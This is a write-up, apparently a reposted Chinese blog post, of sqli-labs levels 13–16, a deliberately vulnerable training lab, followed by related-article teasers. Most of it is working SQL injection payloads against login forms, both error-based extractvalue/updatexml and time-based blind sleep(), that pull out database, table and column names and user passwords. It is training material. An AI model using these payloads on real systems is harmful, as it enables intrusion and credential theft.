SQL-labs13-16闯关记录

http://127.0.0.1/sqli-labs/less-13/

基于POST单引号双注入变形

1,依然是一个登录框,POST型SQL注入

2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件

admin' 发生了报错,根据提示闭合方式是('')

admin') # 不发生报错,说明闭合方式正是('')

3,然后就是判断数据表的列数

admin') order by 2 #

admin') order by 3 #

说数据表不存在第三列,那么数据表就只有两列

4,然后使用union select操作符判断回显点,发现没有反应。使用报错函数进行报错注入,爆出数据库名

1')and updatexml(1,concat(0x7e,(select database())),3)#

1')and extractvalue(1,concat(0x7e,(select database())),3)#

再爆出数据库下数据表名

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

整理得到数据表有emails,referers,uagents,users。然后再爆出users表的字段

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

然后再爆出用户名和密码

1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

这个时候就可以直接拿intruder模块进行爆破了

偏移量作为变量,字典选择0-9

爆破出password也是同样的操作

http://192.168.99.74/sqli-labs/less-14/

第十四关 基于POST双引号双注入变形

payload:

admin"

admin" order by 2#

admin" order by 3#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

http://192.168.99.74/sqli-labs/less-15/

第十五关 基于POST数值型注入

本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql 语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and

password='$passwd' LIMIT 0,1";

sql查询语句这里对 id 进行'id'的处理。

本关我们利用延时注入进行。正确的时候可以直接登录,不正确的时候延时 5 秒。

猜测数据库名长度为8(在burpsuite Intruder模块中8设置为变量):

uname=admin'and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

字典选取1-9

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

由此根据排列payload1的顺序就能得到数据库名

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

所以第一张数据表就是email,以此类推,递增改变limit 0,1当中的0就能爆破出所有的数据表名:emails,referers,uagents,users

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

所以第一个字段就是id,递增改变limit 0,1当中的0就能爆破出所有的字段,id,username,password

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

得到第一个用户名Dumb,同理可得,由此爆破出密码

uname=admin' AND If(ascii(substr((SELECT password FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

http://192.168.99.74/sqli-labs/Less-16/

同样的使用延时注入的方法进行解决。提交的测试payload(条件为真会5s延迟):

admin and if (1=1,sleep(5),0)

admin' and if (1=1,sleep(5),0)

admin') and if (1=1,sleep(5),0)

admin" and if (1=1,sleep(5),0)

admin")and if(1=1,sleep(5),0)

所以语句的闭合方式就是("admin"),区别于less-15

判断数据库名长度为8

uname=admin")and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/981458.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2025年渗透测试面试题总结- 阿某云安全实习(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。 目录 阿里云安全实习 一、代码审计经验与思路 二、越权漏洞原理与审计要点 三、SSRF漏洞解析与防御 四、教…

Zookeeper 及 基于ZooKeeper实现的分布式锁

1 ZooKeeper 1.1 ZooKeeper 介绍 ZooKeeper是一个开源的分布式协调服务,它的设计目标是将那些复杂且容易出错的分布式一致性服务封装起来,构成一个高效可靠的原语集,并以一系列简单易用的接口提供给用户使用。 原语:操作系统或…

开放鸿蒙OpenHarmony 5.0.0 Release 兼容性测试实战经验分享

OpenHarmony 5.0版本的发布时间是2024年12月20日至21日。这个版本带来了许多新特性和改进。现在5.0出了两个release 版本,分别是5.0.0和5.0.1。 就在5.0版本发布不到2周的时间内,2025年01月01日起,不支持新产品基于老分支(OpenHar…

DeepSeek开源周Day6:DeepSeek V3、R1 推理系统深度解析,技术突破与行业启示

DeepSeek 在开源周第六天再次发文,中文原文、官方号在知乎 DeepSeek - 知乎DeepSeek-V3 / R1 推理系统概览 - 知乎deepseek-ai/open-infra-index: Production-tested AI infrastructure tools for efficient AGI development and community-driven innovation 引言 …

springBoot集成emqx 实现mqtt消息的发送订阅

介绍 我们可以想象这么一个场景,我们java应用想要采集到电表a的每小时的用电信息,我们怎么拿到电表的数据?一般我们会想 直接 java 后台发送请求给电表,然后让电表返回数据就可以了,事实上,我们java应用发…

Docker安装milvus及其基本使用说明

简介 Milvus 是一款开源的高性能、高可用的向量数据库,专为大规模机器学习和深度学习应用设计,旨在高效管理和检索高维向量数据。随着AI技术的飞速发展,向量数据库在图像识别、语音识别、自然语言处理、推荐系统等领域扮演着越来越重要的角色…

ssm_mysql_小型企业人事管理系统

收藏关注不迷路!! 🌟文末获取源码数据库🌟 感兴趣的可以先收藏起来,还有大家在毕设选题(免费咨询指导选题),项目以及论文编写等相关问题都可以给我留言咨询,希望帮助更多…

25年第四本【认知觉醒】

《认知觉醒》:一场与大脑的深度谈判 在信息爆炸的焦虑时代,我们像被抛入湍流的溺水者,拼命抓取各种自我提升的浮木,却在知识的漩涡中越陷越深。这不是一本简单的成功学指南,而是一场关于人类认知系统的深度对话&#…

盘古信息携手艾罗能源启动IMS数字化智能制造工厂项目,共筑新能源行业数字化标杆

在政策扶持下成长的新能源行业,如今已逐步进入商业化阶段。相比传统制造行业,新能源行业离散度高、自动化程度高。 面对迅疾的市场变化,在大环境中一枝独秀的新能源行业,亟需突破传统架构的限制,通过构建智能化生产体…

32.C++二叉树进阶1(二叉搜索树)

⭐上篇文章:31.C多态4(静态多态,动态多态,虚函数表的存储位置)-CSDN博客 ⭐本篇代码:c学习/18.二叉树进阶-二叉搜索树 橘子真甜/c-learning-of-yzc - 码云 - 开源中国 (gitee.com) ⭐标⭐是比较重要的部分…

图论基础算法: 二分图的判定(C++)

二分图的基本概念 什么是二分图? 二分图(Bipartite Graph)是指一个图的顶点集可以被分割为两个互不相交的子集 U U U 和 V V V, 并且图中的每一条边都连接 U U U 中的一个顶点和 V V V 中的一个顶点. 换句话说, 二分图中的顶点可以被分成两组, 组内的顶点之间没有边相连…

pyside6学习专栏(九):在PySide6中使用PySide6.QtCharts绘制6种不同的图表的示例代码

PySide6的QtCharts类支持绘制各种型状的图表,如面积区域图、饼状图、折线图、直方图、线条曲线图、离散点图等,下面的代码是采用示例数据绘制这6种图表的示例代码,并可实现动画显示效果,实际使用时参照代码中示例数据的格式将实际数据替换即可…

爬虫逆向实战小记——解决webpack实记

注意!!!!某XX网站实例仅作为学习案例,禁止其他个人以及团体做谋利用途!!! aHR0cHM6Ly9wbW9zLnhqLnNnY2MuY29tLmNuOjIwMDgwL3B4Zi1zZXR0bGVtZW50LW91dG5ldHB1Yi8jL3B4Zi1zZXR0bGVtZW5…

Hive-优化(语法优化篇)

列裁剪与分区裁剪 在生产环境中,会面临列很多或者数据量很大时,如果使用select * 或者不指定分区进行全列或者全表扫描时效率很低。Hive在读取数据时,可以只读取查询中所需要的列,忽视其他的列,这样做可以节省读取开销…

【三维生成】StarGen:基于视频扩散模型的可扩展的时空自回归场景生成

标题:《StarGen: A Spatiotemporal Autoregression Framework with Video Diffusion Model for Scalable and Controllable Scene Generation》 项目:https://zju3dv.github.io/StarGen 来源:商汤科技、浙大CAD、Tetras.AI 文章目录 摘要一、…

vue2(笔记)4.0vueRouter.声明式/编程式导航以及跳转传参.重定向

---vueRouter 五个步骤: 两个核心: {path:路径,component:组件} 二级路由: 1.在主页路由对象中,添加children配置项 2.准备路由出口 示例代码: {path: /,component: layout,redirect: home,children: [{path: /home,component: home},{path: /card,component: card}]}, 在l…

内网渗透信息收集linuxkali扫描ip段,收集脚本(web安全)

内网ip段扫描↓ 工具1↓ nmap -sn 192.168.128.0/24工具2↓ nbtscan 192.168.128.0/24 工具↓3 arp-scan -t 1000 192.168.128.0/24 cmd命令扫描↓ for /L %I in (1,1,255) Do ping -w 1 -n 1 192.168.128.%I | findstr "TTL" 这个命令在Windows命令提示符下使…

DeepSeek崛起:如何在云端快速部署你的专属AI助手

在2025年春节的科技盛宴上,DeepSeek因其在AI领域的卓越表现成为焦点,其开源的推理模型DeepSeek-R1擅长处理多种复杂任务,支持多语言处理,并通过搜索引擎获取实时信息。DeepSeek因其先进的自然语言处理技术、广泛的知识库和高性价比…

python-leetcode 48.二叉树的最近公共祖先

题目: 给定一个二叉树,找到该树中两个指定节点的最近公共祖先 百度百科中最近公共祖先的定义为:“对于有根树 T 的两个节点 p、q,最近公共祖先表示为一个节点 x,满足 x 是 p、q 的祖先且 x 的深度尽可能大&#xff0…

示例:在WPF中如何使用Segoe MDL2 Assets图标和使用该图标的好处

一、目的:分享在WPF中如何使用Segoe MDL2 Assets图标和使用该图标的好处 在WPF中使用Segoe MDL2 Assets字体,可以通过设置控件的FontFamily属性来实现。Segoe MDL2 Assets是一个包含许多图标的字体,通常用于Windows应用程序的图标显示。 二、…